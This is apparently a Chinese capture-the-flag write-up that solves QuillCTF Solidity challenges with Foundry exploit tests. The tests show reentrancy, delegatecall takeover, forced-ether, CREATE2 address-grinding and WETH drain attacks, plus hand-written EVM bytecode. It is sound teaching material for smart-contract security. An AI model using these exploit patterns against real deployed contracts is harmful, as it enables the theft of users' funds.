环境
-
我这里使用了foundry。
-
创建项目:
forge init xxx
-
将合约和测试放好之后直接使用
anvil
然后部署合约:forge create --rpc-url http://127.0.0.1:8545 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 src/factory.sol:factory
[⠆] Compiling...
No files changed, compilation skipped
Deployer: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Deployed to: 0x5FbDB2315678afecb367f032d93F642f64180aa3
Transaction hash: 0xf10a15ea5f681020297c2184ff10b14854285dd2b2162bebe191f7bdc8fab8c
foundry作弊码:
-
deal : 铸造任意数量代币给某个用户 -
prank : 切换用户
题目环境已打包:下载链接
https://cowtransfer.com/s/9ab12784293b4f 点击链接查看 [ QuillCTF.zip ] ,
或访问奶牛快传 cowtransfer.com 输入传输口令 grgohn 查看;
RoadClosed
-
部署合约
forge create --rpc-url http://127.0.0.1:8545 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 src/RoadClosed.sol:RoadClosed
-
编写测试解题
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/RoadClosed.sol";
contract testRoad is
Test,
RoadClosed
{
RoadClosed _contract;
address user1 = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
function setUp() public {
vm.prank(owner);
_contract = new RoadClosed();
}
function testRoadClosed() public {
vm.startPrank(user1);
_contract.addToWhitelist(user1);
_contract.changeOwner(user1);
_contract.pwn(user1);
bool isHack= _contract.isHacked();
bool own = _contract.isOwner();
vm.stopPrank();
assert(own==true);
assert(isHack==true);
}
}
Confidential Hash
-
虽然变量设置了private,但是依然可以读出。
-
编写test来测试
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/Confidential.sol";
contract testCon is
Test,
Confidential
{
Confidential _contract;
function setUp() public {
_contract = new Confidential();
}
function testConfidential() public {
bytes32 aliceHash = vm.load(address(_contract),bytes32(uint256(4)));
bytes32 bobHash = vm.load(address(_contract),bytes32(uint256(9)));
bytes32 hash_value = _contract.hash(aliceHash,bobHash);
bool isOK = _contract.checkthehash(hash_value);
assert(isOK==true);
}
}
VIP Bank
-
合约中有一个require,如果合约的
maxETH
小于合约的balance,就过不去require了,相当于所有人都无法进行withdraw
,因为只有VIP才可以进行deposit,我这里强制给他钱,使用selfdestruct
-
编写test来测试
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/VIP_Bank.sol";
contract Attack{
address public vb;
constructor(address _target){
vb = _target;
}
receive() external payable{}
function destroy() public{
selfdestruct(payable(vb));
}
}
contract VIPBankTest is Test {
VIP_Bank public _contract;
address public admin;
address public attacker;
address public alice;
function setUp() public {
admin = vm.addr(1);
attacker = vm.addr(2);
alice = vm.addr(3);
vm.deal(alice, 1 ether);
vm.deal(attacker, 1 ether);
vm.startPrank(admin);
_contract = new VIP_Bank();
_contract.addVIP(alice);
vm.stopPrank();
}
function testExploit() public {
vm.startPrank(alice);
_contract.deposit{value: 0.05 ether}();
vm.stopPrank();
vm.startPrank(attacker);
assertEq(0.05 ether, _contract.contractBalance());
Attack attack = new Attack(address(_contract));
payable(attack).transfer(1 ether);
attack.destroy();
vm.stopPrank();
assertEq(_contract.contractBalance(), 1.05 ether);
vm.startPrank(alice);
vm.expectRevert();
_contract.withdraw(0.05 ether);
}
}
safeNFT
-
合约的
claim
函数存在重入漏洞,调用_safeMint
的时候,我们自己合约的onERC721Received
函数可以再次去调用claim函数从而再次铸造nft -
测试代码如下:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/safeNFT.sol";
import "openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol";
contract AttackERC721 is IERC721Receiver{
safeNFT public sna;
bool public complete;
address internal owner;
constructor(address _safeNft){
sna = safeNFT(_safeNft);
owner = msg.sender;
}
function attack() public payable{
sna.buyNFT{value: msg.value}();
sna.claim();
uint256 balance = sna.balanceOf(address(this));
for (uint256 i=0; i < balance; i++){
sna.transferFrom(address(this), owner, i);
}
}
function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4){
if (!complete) {
complete = true;
sna.claim(); // claiming the
}
return this.onERC721Received.selector;
}
}
contract VIPBankTest is Test {
address public attacker;
safeNFT public _contract;
function setUp() public {
attacker = vm.addr(1);
vm.deal(attacker,1 ether);
_contract = new safeNFT("QuillNFT", "QUL", 0.01 ether);
}
function testExploit() public {
uint256 attackerBalance;
attackerBalance = _contract.balanceOf(attacker);
assertEq(attackerBalance, 0);
vm.startPrank(attacker);
AttackERC721 attackContract = new AttackERC721(address(_contract));
attackContract.attack{value: 0.01 ether}();
vm.stopPrank();
attackerBalance = _contract.balanceOf(attacker);
assertEq(attackerBalance, 2);
}
}
D31eg4t3
-
合约考点很明显,
delegatecall
重写变量,function hackMe(bytes calldata bites) public returns(bool, bytes memory) {
(bool r, bytes memory msge) = address(msg.sender).delegatecall(bites);
return (r, msge);
} -
测试代码:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/D31eg4t3.sol";
contract Attack{
uint a = 12345;
uint8 b = 32;
string private d;
uint32 private c;
string private mot;
address public owner;
mapping (address => bool) public canYouHackMe;
function attack(address delegateAddress, address attackerAddress) public{
D31eg4t3 delegateContract = D31eg4t3(delegateAddress);
delegateContract.hackMe(abi.encodeWithSignature("pwn(address)", attackerAddress));
}
function pwn(address attackerAddress) public {
owner = attackerAddress;
canYouHackMe[attackerAddress] = true;
}
}
contract testCon is Test {
D31eg4t3 _contract;
address owner;
address attacker;
function setUp() public {
owner = vm.addr(1);
attacker = vm.addr(2);
vm.startPrank(owner);
_contract = new D31eg4t3();
vm.stopPrank();
}
function testExploit() public {
vm.startPrank(attacker);
Attack att = new Attack();
att.attack(address(_contract), attacker);
vm.stopPrank();
assertEq(_contract.owner(), attacker);
assert(_contract.canYouHackMe(attacker) == true);
}
}
CollatzPuzzle
题目:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICollatz {
function collatzIteration(uint256 n) external pure returns (uint256);
}
contract CollatzPuzzle is ICollatz {
function collatzIteration(uint256 n) public pure override returns (uint256) {
if (n % 2 == 0) {
return n / 2;
} else {
return 3 * n + 1;
}
}
function callMe(address addr) external view returns (bool) {
// check code size
uint256 size;
assembly {
size := extcodesize(addr)
}
require(size > 0 && size <= 32, "bad code size!");
// check results to be matching
uint p;
uint q;
for (uint256 n = 1; n < 200; n++) {
// local result
p = n;
for (uint256 i = 0; i < 5; i++) {
p = collatzIteration(p);
}
// your result
q = n;
for (uint256 i = 0; i < 5; i++) {
q = ICollatz(addr).collatzIteration{gas: 100}(q);
}
require(p == q, "result mismatch!");
}
return true;
}
}
题目需要我们使用EVM字节码完成一个32字节以内的 collatzIteration
函数,逻辑为:输入数字为奇数就3*n+1,如果为偶数直接除2返回。
获取输入:
PUSH1 04
CALLDATALOAD
我们输入0x000000000000000000000000000000000000000000000000000000000000000000000002 可以看到获取到了2
接下来判断是否可以被2整除
DUP2
MOD
ISZERO
这里结果为1,证明我们可以被整除,但是我们的输入缺丢了。所以我们需要改进一下保存我们的输入
PUSH1 02
PUSH1 04
CALLDATALOAD
DUP2
DUP2
MOD
ISZERO
我们已经保存了输入,下面来到我们的判断,如果是奇数我们直接*3+1
PUSH1 03
MUL
PUSH1 01
ADD
如果是偶数就除2
DIV
最后返回
PUSH1 00
MSTORE
PUSH1 20
PUSH1 00
RETURN
我们在里面加上跳转之后就组成了
PUSH1 02
PUSH1 04
CALLDATALOAD
DUP2
DUP2
MOD
ISZERO
PUSH1 21
JUMPI
PUSH1 03
MUL
PUSH1 01
ADD
PUSH1 23
JUMP
JUMPDEST
DIV
JUMPDEST
PUSH1 00
MSTORE
PUSH1 32
PUSH1 00
RETURN
以上指令的bytecode为:6002600435818106156015576003026001016017565b045b60005260206000f3
我们还需要一段字节码将我们上面的运行时代码部署到链上
PUSH32 6002600435818106156015576003026001016017565b045b60005260206000f3
PUSH1 00
MSTORE
PUSH1 20
PUSH1 00
RETURN
也就是 0x7f6002600435818106156015576003026001016017565b045b60005260206000f360005260206000f3
由此,我们的测试脚本就可以编写了:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/Collatz_Puzzle.sol";
contract Attack{
function deploy() public returns (address){
bytes memory con = hex"7f6002600435818106156015576003026001016017565b045b60005260206000f360005260206000f3";
address addr;
assembly{
addr := create(0,add(con,0x20),0x29)
}
return addr;
}
}
contract testCollatz is Test {
CollatzPuzzle public cz;
address attacker;
function setUp() public {
attacker = vm.addr(1);
cz = new CollatzPuzzle();
}
function testExploit() public {
vm.startPrank(attacker);
Attack att = new Attack();
address taddr = att.deploy();
bool ans = cz.callMe(taddr);
vm.stopPrank();
assert(ans == true);
}
}
True XOR
题目要求同一个函数 一次返回为真,一次返回为假
bool p = IBoolGiver(target).giveBool();
bool q = IBoolGiver(target).giveBool();
函数声明为:function giveBool() external view returns (bool);
也就是我们不能够引入变量进去修改了,那么在代码运行时只有gas是变化的,我们通过左移255后然后右移255获得不同的bool。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/True_XOR.sol";
contract Attack{
bool FirstCall;
function giveBool() external view returns (bool){
bool res;
assembly {
res := shr(255, shl(255, gas()))
}
return res;
}
}
contract testCon is Test {
TrueXOR _contract;
address attacker;
function setUp() public {
attacker = vm.addr(1);
_contract = new TrueXOR();
}
function testExploit() public {
vm.startPrank(attacker, attacker);
Attack att = new Attack();
bool ok = _contract.callMe(address(att));
assert(ok == true);
}
}
Pelusa
要求将合约中的 goals
变量改为2.
我们分析这个合约,也就是需要在 shoot
函数中成功调用 delegatecall
来完成修改,但是成功调用的前提是 isGoal
函数的require检查,如果需要满足就需要 getBallPossesion
函数返回owner,这里我们也可以通过修改player的地址来完成,但是如何成为player?我们可以通过 create2
来完成创建使其可以满足调用 passTheBall
require(uint256(uint160(msg.sender)) % 100 == 10, “not allowed”);
我们如何让自己的地址满足这个要求呢?我们下面就来实现一下:
我们写一个部署合约,用来预测create2地址并且运算,满足了我们再来使用
create2 原理:新地址 = hash(“0xFF”,创建者地址, salt, bytecode)
那么我们就需要 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), initHash));
这样来获取地址,initHash是:bytes32 initHash = keccak256(abi.encodePacked(type(Attack).creationCode, abi.encode(target)));
获取自己的bytecode。
我们下面只需要一直while循环将自己的hash % 100 == 10即可。
contract DeployerContract {
Attack public attackContract;
constructor(address _target) {
bytes32 salt = calculateSalt(_target);
attackContract = new Attack{ salt: bytes32(salt) }(_target);
}
function calculateSalt(address target) private view returns (bytes32) {
uint256 salt = 0;
bytes32 initHash = keccak256(abi.encodePacked(type(Attack).creationCode, abi.encode(target)));
while (true) {
bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), initHash));
if (uint160(uint256(hash)) % 100 == 10) {
break;
}
salt += 1;
}
return bytes32(salt);
}
}
现在我们已经可以满足 passTheBall
函数的要求了,那么我们就可以将自己的攻击合约设置为player从而进行 isGoal
的调用,这里我们是可以直接读取这个合约的owner的。因为这个owner是不可变变量,我们找到他并不是从插槽直接搜,而是根据他的特征,
const Web3 = require('web3')
const web3 = new Web3('http://localhost:8545')
var index = 1;
const contract_address = web3.utils.toChecksumAddress('0x5fbdb2315678afecb367f032d93f642f64180aa3')
web3.eth.getCode(contract_address).then((resp) => {
index = resp.indexOf('7f000000000000000000000000');
const pushLine = resp.slice(index, index + 66);
const ownerAddress = '0x' + pushLine.slice(26);
console.log(ownerAddress)
});
remix本地部署测试。
但是这里部署者是我自己,我这里就可以直接返回owner。至此,我们就可以成功调用 shoot
来完成 delegatecall
从而修改变量。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/Pelusa.sol";
contract DeployerContract {
Attack public attackContract;
constructor(address _target) {
bytes32 salt = calculateSalt(_target); // calculate the salt
attackContract = new Attack{ salt: bytes32(salt) }(_target); // pass the salt to deploy the attack contract
}
function calculateSalt(address target) private view returns (bytes32) {
uint256 salt = 0;
bytes32 initHash = keccak256(abi.encodePacked(type(Attack).creationCode, abi.encode(target)));
while (true) {
bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), initHash));
// checking generated hash gives 10 as reminder while dividing by 100
if (uint160(uint256(hash)) % 100 == 10) {
break; // if true then break the loop
}
salt += 1;
}
return bytes32(salt); // return the salt which satisfied the condition we needed
}
}
contract Attack is IGame {
address private owner; // owner of the contract
uint256 public goals; // number of goals
Pelusa public pelusaContract;
constructor(address _pAddress) {
pelusaContract = Pelusa(_pAddress);
pelusaContract.passTheBall(); // calling the passTheBall function because size of address code during contract creation is 0
}
function handOfGod() external returns (uint256) {
goals = 2; // setting the goals to 2 which is the goal of this challenge
return 22_06_1986; // returning the required uint variable. Underscores are neglected.
}
// function to return the owner calulated in pwn function
function getBallPossesion() external view returns (address) {
return owner;
}
function pwn(address _deployer) external {
// owner is dervied from the deployer and block number
owner = address(uint160(uint256(keccak256(abi.encodePacked(_deployer, bytes32(uint256(0)))))));
pelusaContract.shoot();
}
}
contract PelusaTest is Test {
Pelusa public pelusa;
address public attacker;
address public deployer;
address public futureAddress;
function setUp() public {
attacker = vm.addr(2); // attacker
deployer = vm.addr(1); //deployer
vm.prank(deployer);
pelusa = new Pelusa(); // declare the Pelusa contract
}
function testExploit() public {
vm.startPrank(attacker, attacker);
DeployerContract dc = new DeployerContract(address(pelusa)); // create an address to satisfy the condition
Attack attack = Attack(dc.attackContract()); // using the address created to initialise the Attack contract
attack.pwn(deployer); // calling the pwn() function
vm.stopPrank();
assert(pelusa.goals() == 2); // verifying whether the goals = 2
}
}
WETH10
原始代码引用lib库方式与我本地foundry有所差异,已经修改
根据要求,我目前是bob,又一个eth,需要提取合约中剩余的10个eth即可。合约中已经使用了 nonReentrant
库来对函数进行了重入保护,使得我们无法利用重入漏洞来完成攻击。
一开始盯着 execute
函数看了半天,因为这是个闪电贷函数,后来感觉也没啥问题,随机去看了其他被重入保护的函数。我们注意 withdrawAll
函数,他在调用转账之后会燃烧掉剩余的代币,核心在于剩余, _burn(msg.sender, balanceOf(msg.sender));
。如果我们转账之后燃烧之前转移了我的代币,他不就没办法燃烧,一会我再取回就可以了。
-
bob转账给攻击合约一个WETH。 -
攻击合约调用 withdrawAll
获取这一个币,然后使用receive
函数获取的币转给我们这时候我的攻击合约是没有钱了,所以无法burn,但是approve给攻击合约的代币还在。我们就可以提取走这一个代币 -
反复十次我就获得了所有代币。
测试代码如下:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/WETH10.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
contract Attack{
WETH10 public target;
address public owner;
constructor(address payable _target){
target = WETH10(_target);
owner = msg.sender;
}
function callWithdrawAll() external payable{
target.withdrawAll();
}
receive() external payable{
target.approve(address(this),target.balanceOf(address(this)));
target.transferFrom(address(this),owner,target.balanceOf(address(this)));
}
function hack() external payable{
owner.call{value: address(this).balance}("");
}
}
contract Weth10Test is Test {
WETH10 public weth;
address owner;
address bob;
function setUp() public {
weth = new WETH10();
bob = makeAddr("bob");
vm.deal(address(weth), 10 ether);
vm.deal(address(bob), 1 ether);
}
function testHack() public {
assertEq(address(weth).balance, 10 ether, "weth contract should have 10 ether");
vm.startPrank(bob);
Attack att = new Attack(payable(weth));
weth.approve(address(bob),11 ether);
for (uint256 i = 0;i<10;i++){
weth.deposit{value: 1 ether}();
weth.transferFrom(address(bob),address(att),1 ether);
att.callWithdrawAll();
att.hack();
}
weth.withdrawAll();
vm.stopPrank();
assertEq(address(weth).balance, 0, "empty weth contract");
assertEq(bob.balance, 11 ether, "player should end with 11 ether");
}
}
Gate
合约代码:
pragma solidity ^0.8.17;
interface IGuardian {
function f00000000_bvvvdlt() external view returns (address);
function f00000001_grffjzz() external view returns (address);
}
contract Gate {
bool public opened;
function open(address guardian) external {
uint256 codeSize;
assembly {
codeSize := extcodesize(guardian)
}
require(codeSize < 33, "bad code size");
require(
IGuardian(guardian).f00000000_bvvvdlt() == address(this),
"invalid pass"
);
require(
IGuardian(guardian).f00000001_grffjzz() == tx.origin,
"invalid pass"
);
(bool success, ) = guardian.call(abi.encodeWithSignature("fail()"));
require(!success);
opened = true;
}
}
要求我们成功调用 open
函数并且opened为true。
这里用到了我们函数签名的用法
这两个函数签名,一个为0一个为1.
最后的fail函数为 0xa9cc4718
也就是2848737048
这样我们大概的YUL代码就有思路了,如果调用过来的function signature为0,就返回caller,如果为1就返回origin,如果为2848737048就直接返回即可。但是这样思路不对,我们并不知道调用过来的函数签名是什么。
真正的签名计算是这样的:
>>> 0x100000000000000000000000000000000000000000000000000000000*0x00000000
0
>>> 0x100000000000000000000000000000000000000000000000000000000*0x00000001
26959946667150639794667015087019630673637144422540572481103610249216
>>> 0x100000000000000000000000000000000000000000000000000000000*0xa9cc4718
76801798882816152179971038701967765803267330225417895110049134443494132154368
这里我们可以通过右移来做这样一个算法:
calldataload(0) 获取函数签名
iszero(shr(calldataload(0))) -> 如果为0就要么是f00000000_bvvvdlt 要么是f00000001_grffjzz
出现这样的情况可以判断calldataload(0)是否为0,如果是0就是f00000000_bvvvdlt
如果不是就是fail
大概的YUL就是:
let x := calldataload(0)
let y := 0x20
mstore(y, origin())
if iszero(shr(225, x))
{
if iszero(x) { mstore(y, caller()) }
return(y, y)
}
revert(y, y)
编译后字节码是:601e600d600039601e6000f3fe60003560203281528160e11c601a57816016573381525b8081f35b8081fd
测试代码为:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "forge-std/Test.sol";
import "src/Gate.sol";
contract Attack {
function deploy(bytes memory given_code) external returns(address ){
bytes memory code = given_code;
address addr;
assembly{
addr := create(0, add(code, 0x20), mload(code))
}
return addr;
}
}
contract GateTest is Test {
Gate public gate;
address public attacker;
function setUp() public {
attacker = vm.addr(1);
gate = new Gate();
}
function testExploit() public {
vm.startPrank(attacker, attacker);
Attack a = new Attack();
bytes memory con = hex"601e600d600039601e6000f3fe60003560203281528160e11c601a57816016573381525b8081f35b8081fd";
address input = a.deploy(con);
gate.open(input);
vm.stopPrank();
assert(gate.opened() == true);
}
}
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):QuillCTF RoadClosed – Gate